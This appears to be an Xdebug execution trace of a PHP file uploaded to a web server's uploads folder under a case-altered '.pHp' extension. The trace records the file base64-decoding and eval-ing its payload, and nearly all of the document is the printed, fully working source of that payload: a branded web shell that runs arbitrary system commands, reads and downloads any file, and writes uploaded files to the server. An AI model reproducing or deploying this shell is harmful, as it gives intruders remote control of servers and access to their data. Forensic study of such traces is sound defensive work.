Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:28:28.549177]
1	0	1	0.000186	393576
1	3	0	0.000338	418072	{main}	1		/var/www/html/uploads/vgm4-terminal.pHp	0	0
2	4	0	0.000355	418072	base64_decode	0		/var/www/html/uploads/vgm4-terminal.pHp	1	1	'PD9waHANCg0KZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsNCiAgICAkc3Rkb3V0ID0gYXJyYXkoKTsNCg0KICAgIGlmIChwcmVnX21hdGNoKCIvXlxzKmNkXHMqJC8iLCAkY21kKSkgew0KICAgICAgICAvLyBwYXNzDQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9eXHMqY2RccysoLispXHMqKDI+JjEpPyQvIiwgJGNtZCkpIHsNCiAgICAgICAgY2hkaXIoJGN3ZCk7DQogICAgICAgIHByZWdfbWF0Y2goIi9eXHMqY2RccysoW15cc10rKVxzKigyPiYxKT8kLyIsICRjbWQsICRtYXRjaCk7DQogICAgICAgIGNoZGlyKCRtYXRjaFsxXSk7DQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9eXHMqZG93bmxvYWRccytbXlxzXStccyooMj4mMSk/JC8iLCAkY21k'
2	4	1	0.000456	442680
2	4	R			'<?php\r\n\r\nfunction featureShell($cmd, $cwd) {\r\n    $stdout = array();\r\n\r\n    if (preg_match("/^\\s*cd\\s*$/", $cmd)) {\r\n        // pass\r\n    } elseif (preg_match("/^\\s*cd\\s+(.+)\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match);\r\n        chdir($match[1]);\r\n    } elseif (preg_match("/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/"'
2	5	0	0.000659	476392	eval	1	'?><?php\r\n\r\nfunction featureShell($cmd, $cwd) {\r\n    $stdout = array();\r\n\r\n    if (preg_match("/^\\s*cd\\s*$/", $cmd)) {\r\n        // pass\r\n    } elseif (preg_match("/^\\s*cd\\s+(.+)\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match);\r\n        chdir($match[1]);\r\n    } elseif (preg_match("/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/", $cmd)) {\r\n        chdir($cwd);\r\n        preg_match("/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match);\r\n        return featureDownload($match[1]);\r\n    } else {\r\n        chdir($cwd);\r\n        exec($cmd, $stdout);\r\n    }\r\n\r\n    return array(\r\n        "stdout" => $stdout,\r\n        "cwd" => getcwd()\r\n    );\r\n}\r\n\r\nfunction featurePwd() {\r\n    return array("cwd" => getcwd());\r\n}\r\n\r\nfunction featureHint($fileName, $cwd, $type) {\r\n    chdir($cwd);\r\n    if ($type == \'cmd\') {\r\n        $cmd = "compgen -c $fileName";\r\n    } else {\r\n        $cmd = "compgen -f $fileName";\r\n    }\r\n    $cmd = "/bin/bash -c \\"$cmd\\"";\r\n    $files = explode("\\n", shell_exec($cmd));\r\n    return array(\r\n        \'files\' => $files,\r\n    );\r\n}\r\n\r\nfunction featureDownload($filePath) {\r\n    $file = @file_get_contents($filePath);\r\n    if ($file === FALSE) {\r\n        return array(\r\n            \'stdout\' => array(\'File not found / no read permission.\'),\r\n            \'cwd\' => getcwd()\r\n        );\r\n    } else {\r\n        return array(\r\n            \'name\' => basename($filePath),\r\n            \'file\' => base64_encode($file)\r\n        );\r\n    }\r\n}\r\n\r\nfunction featureUpload($path, $file, $cwd) {\r\n    chdir($cwd);\r\n    $f = @fopen($path, \'wb\');\r\n    if ($f === FALSE) {\r\n        return array(\r\n            \'stdout\' => array(\'Invalid path / no write permission.\'),\r\n            \'cwd\' => getcwd()\r\n        );\r\n    } else {\r\n        fwrite($f, base64_decode($file));\r\n        fclose($f);\r\n        return array(\r\n            \'stdout\' => array(\'Done.\'),\r\n            \'cwd\' => getcwd()\r\n        );\r\n    }\r\n}\r\n\r\nif (isset($_GET["feature"])) {\r\n\r\n    $response = NULL;\r\n\r\n    switch ($_GET["feature"]) {\r\n        case "shell":\r\n            $cmd = $_POST[\'cmd\'];\r\n            if (!preg_match(\'/2>/\', $cmd)) {\r\n                $cmd .= \' 2>&1\';\r\n            }\r\n            $response = featureShell($cmd, $_POST["cwd"]);\r\n            break;\r\n        case "pwd":\r\n            $response = featurePwd();\r\n            break;\r\n        case "hint":\r\n            $response = featureHint($_POST[\'filename\'], $_POST[\'cwd\'], $_POST[\'type\']);\r\n            break;\r\n        case \'upload\':\r\n            $response = featureUpload($_POST[\'path\'], $_POST[\'file\'], $_POST[\'cwd\']);\r\n    }\r\n\r\n    header("Content-Type: application/json");\r\n    echo json_encode($response);\r\n    die();\r\n}\r\n\r\n?><!DOCTYPE html>\r\n\r\n<html>\r\n\r\n    <head>\r\n    <link rel="icon" type="image/x-icon" href="https://convertico.com/images/1649872806.286/Untitled-1.ico">\r\n        <meta charset="UTF-8" />\r\n        <title>VGM4@shell:~$</title>\r\n        <meta name="viewport" content="width=device-width, initial-scale=1.0" />\r\n        <h1 style="font-family: monospace; text-align: center;"><span style="color: #00ff00;">MrVGunz</span> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;">MrH4ted</span></h1>\r\n        <style>\r\n            html, body {\r\n                margin: 0;\r\n                padding: 0;\r\n                background: #191919;\r\n                color: #eee;\r\n                font-family: monospace;\r\n            }\r\n\r\n            *::-webkit-scrollbar-track {\r\n                border-radius: 8px;\r\n                background-color: #353535;\r\n            }\r\n\r\n            *::-webkit-scrollbar {\r\n                width: 8px;\r\n                height: 8px;\r\n            }\r\n\r\n            *::-webkit-scrollbar-thumb {\r\n                border-radius: 8px;\r\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\r\n                background-color: #bcbcbc;\r\n            }\r\n\r\n            #shell {\r\n                background: #000000;\r\n                max-width: 1234px;\r\n                margin: 50px auto 0 auto;\r\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\r\n                font-size: 10pt;\r\n                display: flex;\r\n                flex-direction: column;\r\n                align-items: stretch;\r\n            }\r\n\r\n            #shell-content {\r\n                height: 498px;\r\n                overflow: auto;\r\n                padding: 5px;\r\n                white-space: pre-wrap;\r\n                flex-grow: 1;\r\n            }\r\n\r\n            #shell-logo {\r\n                font-weight: bold;\r\n                color: #ff0000;\r\n                text-align: center;\r\n            }\r\n\r\n            @media (max-width: 991px) {\r\n                #shell-logo {\r\n                    font-size: 6px;\r\n                    margin: -25px 0;\r\n                }\r\n\r\n                html, body, #shell {\r\n                    height: 100%;\r\n                    width: 100%;\r\n                    max-width: none;\r\n                }\r\n\r\n                #shell {\r\n                    margin-top: 0;\r\n                }\r\n            }\r\n\r\n            @media (max-width: 767px) {\r\n                #shell-input {\r\n                    flex-direction: column;\r\n                }\r\n            }\r\n\r\n            @media (max-width: 320px) {\r\n                #shell-logo {\r\n                    font-size: 5px;\r\n                }\r\n            }\r\n\r\n            .shell-prompt {\r\n                font-weight: bold;\r\n                color: #ff2020;\r\n            }\r\n\r\n            .shell-prompt > span {\r\n                color: #00ff00;\r\n            }\r\n\r\n            #shell-input {\r\n                display: flex;\r\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\r\n                border-top: rgba(255, 255, 255, .05) solid 1px;\r\n            }\r\n\r\n            #shell-input > label {\r\n                flex-grow: 0;\r\n                display: block;\r\n                padding: 0 5px;\r\n                height: 30px;\r\n                line-height: 30px;\r\n            }\r\n\r\n            #shell-input #shell-cmd {\r\n                height: 30px;\r\n                line-height: 30px;\r\n                border: none;\r\n                background: transparent;\r\n                color: #00ff00;\r\n                font-family: monospace;\r\n                font-size: 10pt;\r\n                width: 100%;\r\n                align-self: center;\r\n            }\r\n\r\n            #shell-input div {\r\n                flex-grow: 1;\r\n                align-items: stretch;\r\n            }\r\n\r\n            #shell-input input {\r\n                outline: none;\r\n            }\r\n        </style>\r\n\r\n        <script>\r\n            var CWD = null;\r\n            var commandHistory = [];\r\n            var historyPosition = 0;\r\n            var eShellCmdInput = null;\r\n            var eShellContent = null;\r\n\r\n            function _insertCommand(command) {\r\n                eShellContent.innerHTML += "\\n\\n";\r\n                eShellContent.innerHTML += \'<span class=\\"shell-prompt\\">\' + genPrompt(CWD) + \'</span> \';\r\n                eShellContent.innerHTML += escapeHtml(command);\r\n                eShellContent.innerHTML += "\\n";\r\n                eShellContent.scrollTop = eShellContent.scrollHeight;\r\n            }\r\n\r\n            function _insertStdout(stdout) {\r\n                eShellContent.innerHTML += escapeHtml(stdout);\r\n                eShellContent.scrollTop = eShellContent.scrollHeight;\r\n            }\r\n\r\n            function _defer(callback) {\r\n                setTimeout(callback, 0);\r\n            }\r\n\r\n            function featureShell(command) {\r\n\r\n                _insertCommand(command);\r\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\r\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\r\n                } else if (/^\\s*clear\\s*$/.test(command)) {\r\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\r\n                    eShellContent.innerHTML = \'\';\r\n                } else {\r\n                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {\r\n                        if (response.hasOwnProperty(\'file\')) {\r\n                            featureDownload(response.name, response.file)\r\n                        } else {\r\n                            _insertStdout(response.stdout.join("\\n"));\r\n                            updateCwd(response.cwd);\r\n                        }\r\n                    });\r\n                }\r\n            }\r\n\r\n            function featureHint() {\r\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\r\n\r\n                function _requestCallback(data) {\r\n                    if (data.files.length <= 1) return;  // no completion\r\n\r\n                    if (data.files.length === 2) {\r\n                        if (type === \'cmd\') {\r\n                            eShellCmdInput.value = data.files[0];\r\n                        } else {\r\n                            var currentValue = eShellCmdInput.value;\r\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\r\n                        }\r\n                    } else {\r\n                        _insertCommand(eShellCmdInput.value);\r\n                        _insertStdout(data.files.join("\\n"));\r\n                    }\r\n                }\r\n\r\n                var currentCmd = eShellCmdInput.value.split(" ");\r\n                var type = (currentCmd.length === 1) ? "cmd" : "file";\r\n                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\r\n\r\n                makeRequest(\r\n                    "?feature=hint",\r\n                    {\r\n                        filename: fileName,\r\n                        cwd: CWD,\r\n                        type: type\r\n                    },\r\n                    _requestCallback\r\n                );\r\n\r\n            }\r\n\r\n            function featureDownload(name, file) {\r\n                var element = document.createElement(\'a\');\r\n                element.setAttribute(\'href\', \'data:application/octet-stream;base64,\' + file);\r\n                element.setAttribute(\'download\', name);\r\n                element.style.display = \'none\';\r\n                document.body.appendChild(element);\r\n                element.click();\r\n                document.body.removeChild(element);\r\n                _insertStdout(\'Done.\');\r\n            }\r\n\r\n            function featureUpload(path) {\r\n                var element = document.createElement(\'input\');\r\n                element.setAttribute(\'type\', \'file\');\r\n                element.style.display = \'none\';\r\n                document.body.appendChild(element);\r\n                element.addEventListener(\'change\', function () {\r\n                    var promise = getBase64(element.files[0]);\r\n                    promise.then(function (file) {\r\n                        makeRequest(\'?feature=upload\', {path: path, file: file, cwd: CWD}, function (response) {\r\n                            _insertStdout(response.stdout.join("\\n"));\r\n                            updateCwd(response.cwd);\r\n                        });\r\n                    }, function () {\r\n                        _insertStdout(\'An unknown client-side error occurred.\');\r\n                    });\r\n                });\r\n                element.click();\r\n                document.body.removeChild(element);\r\n            }\r\n\r\n            function getBase64(file, onLoadCallback) {\r\n                return new Promise(function(resolve, reject) {\r\n                    var reader = new FileReader();\r\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\r\n                    reader.onerror = reject;\r\n                    reader.readAsDataURL(file);\r\n                });\r\n            }\r\n\r\n            function genPrompt(cwd) {\r\n                cwd = cwd || "~";\r\n                var shortCwd = cwd;\r\n                if (cwd.split("/").length > 3) {\r\n                    var splittedCwd = cwd.split("/");\r\n                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];\r\n                }\r\n                return "vgm4@terminal:<span title=\\"" + cwd + "\\">" + shortCwd + "</span>$";\r\n            }\r\n\r\n            function updateCwd(cwd) {\r\n                if (cwd) {\r\n                    CWD = cwd;\r\n                    _updatePrompt();\r\n                    return;\r\n                }\r\n                makeRequest("?feature=pwd", {}, function(response) {\r\n                    CWD = response.cwd;\r\n                    _updatePrompt();\r\n                });\r\n\r\n            }\r\n\r\n            function escapeHtml(string) {\r\n                return string\r\n                    .replace(/&/g, "&amp;")\r\n                    .replace(/</g, "&lt;")\r\n                    .replace(/>/g, "&gt;");\r\n            }\r\n\r\n            function _updatePrompt() {\r\n                var eShellPrompt = document.getElementById("shell-prompt");\r\n                eShellPrompt.innerHTML = genPrompt(CWD);\r\n            }\r\n\r\n            function _onShellCmdKeyDown(event) {\r\n                switch (event.key) {\r\n                    case "Enter":\r\n                        featureShell(eShellCmdInput.value);\r\n                        insertToHistory(eShellCmdInput.value);\r\n                        eShellCmdInput.value = "";\r\n                        break;\r\n                    case "ArrowUp":\r\n                        if (historyPosition > 0) {\r\n                            historyPosition--;\r\n                            eShellCmdInput.blur();\r\n                            eShellCmdInput.value = commandHistory[historyPosition];\r\n                            _defer(function() {\r\n                                eShellCmdInput.focus();\r\n                            });\r\n                        }\r\n                        break;\r\n                    case "ArrowDown":\r\n                        if (historyPosition >= commandHistory.length) {\r\n                            break;\r\n                        }\r\n                        historyPosition++;\r\n                        if (historyPosition === commandHistory.length) {\r\n                            eShellCmdInput.value = "";\r\n                        } else {\r\n                            eShellCmdInput.blur();\r\n                            eShellCmdInput.focus();\r\n                            eShellCmdInput.value = commandHistory[historyPosition];\r\n                        }\r\n                        break;\r\n                    case \'Tab\':\r\n                        event.preventDefault();\r\n                        featureHint();\r\n                        break;\r\n                }\r\n            }\r\n\r\n            function insertToHistory(cmd) {\r\n                commandHistory.push(cmd);\r\n                historyPosition = commandHistory.length;\r\n            }\r\n\r\n            function makeRequest(url, params, callback) {\r\n                function getQueryString() {\r\n                    var a = [];\r\n                    for (var key in params) {\r\n                        if (params.hasOwnProperty(key)) {\r\n                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));\r\n                        }\r\n                    }\r\n                    return a.join("&");\r\n                }\r\n                var xhr = new XMLHttpRequest();\r\n                xhr.open("POST", url, true);\r\n                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");\r\n                xhr.onreadystatechange = function() {\r\n                    if (xhr.readyState === 4 && xhr.status === 200) {\r\n                        try {\r\n                            var responseJson = JSON.parse(xhr.responseText);\r\n                            callback(responseJson);\r\n                        } catch (error) {\r\n                            alert("Error while parsing response: " + error);\r\n                        }\r\n                    }\r\n                };\r\n                xhr.send(getQueryString());\r\n            }\r\n\r\n            document.onclick = function(event) {\r\n                event = event || window.event;\r\n                var selection = window.getSelection();\r\n                var target = event.target || event.srcElement;\r\n\r\n                if (target.tagName === "SELECT") {\r\n                    return;\r\n                }\r\n\r\n                if (!selection.toString()) {\r\n                    eShellCmdInput.focus();\r\n                }\r\n            };\r\n\r\n            window.onload = function() {\r\n                eShellCmdInput = document.getElementById("shell-cmd");\r\n                eShellContent = document.getElementById("shell-content");\r\n                updateCwd();\r\n                eShellCmdInput.focus();\r\n            };\r\n        </script>\r\n    </head>\r\n\r\n    <body>\r\n        <div id="shell">\r\n            <pre id="shell-content">\r\n                <div id="shell-logo">\r\n__     ______ __  __ _  _     ____  _                      _             _ <span></span>\r\n\\ \\   / / ___|  \\/  | || |   / __ \\| |_ ___ _ __ _ __ ___ (_)_ __   __ _| |<span></span>\r\n \\ \\ / / |  _| |\\/| | || |_ / / _` | __/ _ \\ \'__| \'_ ` _ \\| | \'_ \\ / _` | |<span></span>\r\n  \\ V /| |_| | |  | |__   _| | (_| | ||  __/ |  | | | | | | | | | | (_| | |<span></span>\r\n   \\_/  \\____|_|  |_|  |_|  \\ \\__,_|\\__\\___|_|  |_| |_| |_|_|_| |_|\\__,_|_|<span></span>\r\n                             \\____/                                        <span></span>\r\n                </div>\r\n            </pre>\r\n            <div id="shell-input">\r\n                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">vgm4@terminal:~$ </label>\r\n                <div>\r\n                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </body>\r\n\r\n</html>'	/var/www/html/uploads/vgm4-terminal.pHp	1	0
2	5	1	0.001208	484696
1	3	1	0.001219	461640
			0.001242	348728
TRACE END   [2023-02-13 02:28:28.550288]

